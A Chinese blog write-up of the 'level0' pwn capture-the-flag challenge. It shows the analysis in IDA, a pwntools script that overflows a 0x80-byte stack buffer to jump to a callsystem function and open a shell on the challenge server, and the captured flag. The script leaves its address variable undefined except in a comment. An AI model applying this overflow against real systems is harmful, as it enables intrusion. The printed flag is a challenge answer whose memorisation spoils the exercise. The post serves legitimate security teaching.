pwn-level0

pwn-level0

今天做一下pwn里面的简单题,回顾下之前学到的知识点

Markup
deb https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free    //换源
python -m pip install pwntools     //安装pwntools
checksec //查壳
IDA pro    //静态分析
/bin/sh/        //shell
F5               //查看伪代码
Shift + F12       //查看string
目的:找可利用地址,计算缓冲区空间,覆盖原地址调用新地址

1、首先是level0的题目,下载后使用checksec进行侦壳

image.png

从回显中可以清除的看到此文件是64位的,并且除了NX(数据不可执行)保护机制并没有开启其他的。

2、赋给执行权限后,运行下

image.png

发下仅有回显 “Hello, World" 之后输入任意内容结束程序。

3、使用IDA pro进行静态分析

image.png

在main函数中发现"Hello,World\n",按F5以后可以看到在main函数中只有两行,程序执行后打印“helloworld”后执行vulnerable_function()函数。

image.png

函数中无参数传入,buf长度为0x80,即0x80h填充满,之后跟上地址就可以实现任意跳转

4、使用快捷键Shift + F12查看image.png

发现除了刚才看到的字符串还有出现system、/bin/sh 等

image.png

双击/bin/sh以后可以看到这里还会调用callsystem

image.png

然后双击callsystem发现其执行的地址为400596,之后可以根据之前发现的地址覆盖,来调用callsystem执行任意命令。

5、编写利用语句

Python
#coding=utf-8
from pwn import *     #导入pwntools中pwn模块中的所有内容
p = remote("124.126.19.106",32926)    #链接服务器远程交互
elf = ELF('./level0')    #以ELF文件格式读取level0中callsystem的地址
#先用0x88个无用字符覆盖buf和push的内容,再覆盖返回地址
payload = 'a'*(0x80+8) + p64(sysaddr)        #这里的 sysaddr =》 0x400596
p.recv()    #接收输出
p.send(payload)    #发送payload无用字符
p.interactive()    #反弹shell进行交互

6、执行

image.png

image.png

拿到flag。

cyberpeace{a24f2cca2cb95b401c8a6fa2afa676a6}
posted @ 2020-06-08 15:18  MTcx  阅读(226)  评论(0编辑  收藏  举报